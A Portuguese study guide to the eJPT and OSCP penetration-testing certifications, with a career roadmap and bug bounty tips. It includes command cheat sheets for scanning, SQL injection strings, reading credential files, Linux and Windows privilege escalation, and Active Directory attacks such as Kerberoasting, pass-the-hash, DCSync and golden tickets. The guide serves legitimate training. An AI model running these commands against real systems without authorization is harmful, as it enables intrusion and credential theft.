eJPT + OSCP

Guia Completo de Certificações de Pentest

Do zero ao profissional — caminho para trabalhar remotamente em dólar

PARTE 1 — eJPT (eLearnSecurity Junior Penetration Tester)

O que é o eJPT

O eJPT é a certificação de entrada em pentest da INE (eLearnSecurity). É 100% prática — você recebe acesso a uma rede e precisa comprometê-la. POR QUE COMEÇAR PELO eJPT: - Gratuito para fazer o curso (Starter Pass da INE) - Prova custa ~200 USD mas tem descontos frequentes - Reconhecido internacionalmente como primeiro passo - Valida que você sabe o básico de pentest real - Sem pré-requisito — qualquer pessoa pode tentar

Conteúdo do Exame

O exame dura 72 horas. Você recebe acesso VPN a uma rede com múltiplos alvos e precisa responder 20 perguntas de múltipla escolha baseadas no que encontrar durante o pentest.

```
DOMÍNIOS COBERTOS:
1. Fundamentos de redes (TCP/IP, routing, NAT)
2. Fundamentos de segurança (CIA triad, tipos de ataque)
3. Reconhecimento e OSINT
4. Scanning e enumeração
5. Exploração de vulnerabilidades
6. Post-exploitation básico
7. Web application attacks (SQLi, XSS)
8. Fundamentos de criptografia

FERRAMENTAS COBRADAS:
- nmap (scanning)
- Metasploit Framework
- Burp Suite (básico)
- SQLmap
- Hydra (brute force)
- Netcat
- Wireshark
```

Metodologia eJPT — Passo a Passo

Este é o fluxo que você deve seguir durante o exame:

```
FASE 1: RECONHECIMENTO
  nmap -sn 192.168.1.0/24          # descobrir hosts ativos
  nmap -sV -sC -p- ALVO            # scan completo
  nmap --script=vuln ALVO          # scripts de vulnerabilidade

FASE 2: ENUMERAÇÃO
  # HTTP
  dirb http://ALVO                  # descobrir diretórios
  nikto -h http://ALVO              # vulnerabilidades web

  # SMB (Windows)
  enum4linux ALVO                   # enumerar shares, usuários
  smbclient -L //ALVO               # listar shares
```

```
  # FTP
  ftp ALVO                          # tentar login anônimo

FASE 3: EXPLORAÇÃO
  # Metasploit
  msfconsole
  search SERVICO_VERSAO
  use exploit/caminho/do/exploit
  set RHOSTS ALVO
  set PAYLOAD payload/correto
  run

  # SQLi manual
  ' OR 1=1 --
  ' UNION SELECT 1,2,3 --
  sqlmap -u "URL?param=1" --dbs

FASE 4: POST-EXPLOITATION
  # Após shell
  whoami
  id
  cat /etc/passwd
  cat /etc/shadow
  find / -perm -4000 2>/dev/null    # binários SUID
  sudo -l                           # privilégios sudo
```

Dicas para Passar no eJPT

Estratégias que funcionam no exame:

```
1. SEMPRE faça nmap completo primeiro (-p- demora mas vale)
2. Anote TUDO que encontrar — IPs, portas, versões, credenciais
3. Tente credenciais padrão: admin/admin, root/root, admin/password
4. Se travar em um alvo, pule para outro — o exame tem múltiplos alvos
5. Pivoting: se comprometer uma máquina, use ela para chegar em outras
6. Leia as perguntas antes de começar — sabe o que procurar
7. 72 horas é muito tempo — descanse, não fique 72h em frente ao PC

RECURSOS GRATUITOS:
- TryHackMe: sala "Jr Penetration Tester"
- HackTheBox: máquinas fáceis (Starting Point)
- INE Starter Pass: curso oficial gratuito
- YouTube: IppSec (HackTheBox writeups)
```

PARTE 2 — OSCP (Offensive Security Certified Professional)

O que é o OSCP

O OSCP é a certificação de pentest mais respeitada do mundo. Criada pela Offensive Security (criadores do Kali Linux). Quem tem OSCP consegue emprego em qualquer empresa de segurança do mundo. MERCADO DE TRABALHO COM OSCP: - Brasil: R$8.000 a R$20.000/mês - EUA/Europa (remoto): USD 80.000 a USD 150.000/ano - Bug Bounty: sem limite — depende do que você encontrar - Consultoria: USD 150 a USD 300/hora O EXAME: - 24 horas para comprometer alvos - Mais 24 horas para escrever relatório profissional - Precisa de 70 pontos de 100 para passar - Sem múltipla escolha — tudo prático

PWK — Curso Oficial do OSCP

O curso oficial se chama PEN-200 (Penetration Testing with Kali Linux). Inclui laboratório com 70+ máquinas para praticar.

```
MÓDULOS DO CURSO:
01. Introduction to Cybersecurity
02. Report Writing for Penetration Testers
03. Information Gathering
04. Vulnerability Scanning
05. Introduction to Web Application Attacks
06. Common Web Application Attacks (SQLi, XSS, CSRF, LFI, RFI)
07. SQL Injection Attacks (avançado)
08. Client-Side Attacks
09. Locating Public Exploits
10. Fixing Exploits
11. Antivirus Evasion
12. Password Attacks
13. Windows Privilege Escalation
14. Linux Privilege Escalation
15. Port Redirection and SSH Tunneling
16. Tunneling Through Deep Packet Inspection
17. The Metasploit Framework
18. Active Directory Introduction
19. Active Directory Attacks
20. Assembling the Pieces (metodologia completa)
```

Privilege Escalation — Linux

A habilidade mais cobrada no OSCP. Você compromete um alvo como usuário comum e precisa virar root.

```
# CHECKLIST DE PRIVESC LINUX

## 1. Informações do sistema
uname -a                          # versão do kernel
cat /etc/os-release               # distribuição
id && whoami                      # usuário atual

## 2. Usuários e senhas
```

```
cat /etc/passwd                    # todos os usuários
cat /etc/shadow                    # hashes (se der permissão)
sudo -l                            # o que pode executar como sudo
cat ~/.bash_history                # histórico de comandos

## 3. Binários SUID (executam como root)
find / -perm -4000 -type f 2>/dev/null
# Verificar GTFOBins para exploits de cada binário

## 4. Cron jobs
cat /etc/crontab
ls -la /etc/cron*
find / -name "*.sh" -writable 2>/dev/null

## 5. Serviços rodando como root
ps aux | grep root
netstat -tlnp

## 6. Capabilities
getcap -r / 2>/dev/null

## 7. Ferramentas automáticas
./linpeas.sh                       # LinPEAS
./linEnum.sh                       # LinEnum
python3 -c "import pty;pty.spawn('/bin/bash')"  # TTY estável
```

Privilege Escalation — Windows

Active Directory e Windows são obrigatórios no OSCP moderno.

```
# CHECKLIST DE PRIVESC WINDOWS

## 1. Informações básicas
whoami /all                        # usuário e privilégios
systeminfo                         # info do sistema
net user                           # usuários locais
net localgroup administrators      # admins locais

## 2. Serviços vulneráveis
sc query                           # serviços rodando
accesschk.exe -uwcqv "Todos" *   # permissões de serviços
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

## 3. Credenciais salvas
cmdkey /list                       # credenciais salvas
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

## 4. Tarefas agendadas
schtasks /query /fo LIST /v | findstr "Task Name\|Run As\|Task To Run"

## 5. AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

## 6. Ferramentas automáticas
.\winPEAS.exe                      # WinPEAS
.\PowerUp.ps1; Invoke-AllChecks   # PowerUp
```

Active Directory — Fundamentos

AD é o coração das redes corporativas Windows. Comprometer o AD = comprometer toda a empresa.

```
# ATAQUES PRINCIPAIS EM ACTIVE DIRECTORY

## 1. Enumeração
bloodhound-python -d DOMAIN.local -u usuario -p senha -ns IP -c All
# Importar no BloodHound para visualizar caminhos de ataque

## 2. Kerberoasting (sem precisar de admin)
GetUserSPNs.py DOMAIN/usuario:senha -dc-ip IP -request
hashcat -m 13100 hash.txt rockyou.txt

## 3. ASREPRoasting
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip IP
hashcat -m 18200 hash.txt rockyou.txt

## 4. Pass-the-Hash
psexec.py DOMAIN/Administrator@IP -hashes :NTLMHASH
evil-winrm -i IP -u Administrator -H NTLMHASH

## 5. DCSync (se tiver privilégios)
secretsdump.py DOMAIN/Administrator:senha@IP

## 6. Golden Ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain DOMAIN.local usuario
```

Relatório Profissional de Pentest

O OSCP exige relatório em 24h. E é assim que você cobra clientes no SHIELD. Estrutura obrigatória:

```
ESTRUTURA DO RELATÓRIO OSCP / SHIELD:

1. SUMÁRIO EXECUTIVO (para o CEO/gestor)
   - O que foi testado
   - Período do teste
   - Resultado geral (crítico/alto/médio/baixo)
   - Top 3 problemas em linguagem não-técnica
   - Impacto no negócio

2. METODOLOGIA
   - Escopo (o que estava autorizado)
   - Ferramentas utilizadas
   - Fases (reconhecimento, scanning, exploração, pós-exploração)

3. FINDINGS (uma seção por vulnerabilidade)
   - Título
   - Severidade (Crítica/Alta/Média/Baixa/Informacional)
   - CVSS Score
   - Descrição técnica
   - Evidência (screenshots, comandos)
   - Impacto
   - Recomendação com código/configuração correta

4. CONCLUSÃO
   - Resumo dos achados
```

```
   - Próximos passos recomendados
   - Contato para dúvidas

SEVERIDADES (CVSS):
  Crítica:     9.0 - 10.0  (RCE, acesso total)
  Alta:        7.0 - 8.9   (escalada de privilégio, dados sensíveis)
  Média:       4.0 - 6.9   (informações expostas, configuração errada)
  Baixa:       0.1 - 3.9   (informacional, baixo risco)
  Info:        0.0          (boas práticas, melhorias)
```

Caminho para Dólar — Roadmap Completo

O caminho mais direto de Ariquemes para trabalho remoto em dólar:

```
MÊS 1-2: BASE TÉCNICA
  - TryHackMe: Pre-Security Path (grátis)
  - TryHackMe: Jr Penetration Tester (grátis)
  - Praticar Linux e redes básicas
  - Instalar Kali Linux

MÊS 3-4: eJPT
  - INE Starter Pass (grátis) — curso oficial
  - HackTheBox Starting Point (grátis)
  - Fazer o exame eJPT (~200 USD)
  - Montar portfólio no GitHub com writeups

MÊS 5-8: PRÉ-OSCP
  - HackTheBox: 30+ máquinas resolvidas
  - TryHackMe: Advanced Rooms
  - Estudar Active Directory profundamente
  - Praticar Privilege Escalation diariamente

MÊS 9-12: OSCP
  - Comprar PEN-200 (999 USD com 90 dias de lab)
  - Completar todos os exercícios do curso
  - Fazer todas as máquinas do lab
  - Fazer o exame OSCP

APÓS OSCP:
  - Cadastrar no HackerOne e Bugcrowd (bug bounty)
  - Candidatar para vagas remotas em dólar
  - LinkedIn com OSCP no título
  - Networking em Discord de segurança (HTB, THM, OffSec)

PLATAFORMAS PARA PRATICAR:
  - TryHackMe (tryhackme.com) — mais didático
  - HackTheBox (hackthebox.com) — mais realista
  - PentesterLab — foco em web
  - PortSwigger Web Academy — web app gratuito e excelente
  - VulnHub — VMs offline para baixar

COMUNIDADES:
  - Discord do HackTheBox
  - Discord do TryHackMe
  - Reddit: r/netsec, r/oscp, r/AskNetSec
  - Twitter/X: seguir pentesters conhecidos
```

Dicas de Bug Bounty para Renda em Dólar

Bug Bounty é a forma mais rápida de ganhar dólar enquanto estuda. Você não precisa do OSCP para começar.

```
PLATAFORMAS:
  HackerOne (hackerone.com)  — maior plataforma, muitas empresas
  Bugcrowd (bugcrowd.com)    — segunda maior
  Intigriti                  — foco europeu
  YesWeHack                  — foco europeu

COMO COMEÇAR:
  1. Criar conta no HackerOne
  2. Começar com programas públicos (sem convite)
  3. Focar em alvos com escopo amplo
  4. Testar 1 tipo de vulnerabilidade em muitos alvos
     (ex: testar só IDOR em todos os alvos)

VULNERABILIDADES MAIS PAGAS:
  - IDOR (Insecure Direct Object Reference): $500-5000
  - SQLi: $500-10000
  - XSS stored: $200-2000
  - RCE (Remote Code Execution): $5000-100000
  - Authentication bypass: $1000-10000
  - SSRF: $500-5000

DICA DE ORO:
  Não tente fazer tudo. Escolha UMA categoria de vulnerabilidade,
  aprenda PROFUNDAMENTE como ela funciona, e teste essa categoria
  em MUITOS programas. É mais eficiente do que saber tudo superficialmente.

FERRAMENTAS ESSENCIAIS PARA BUG BOUNTY:
  Burp Suite Community (grátis) — interceptar e modificar requisições
  ffuf — fuzzing de endpoints
  subfinder — descobrir subdomínios
  httpx — checar quais subdomínios estão ativos
  nuclei — scanner de templates de vulnerabilidades
```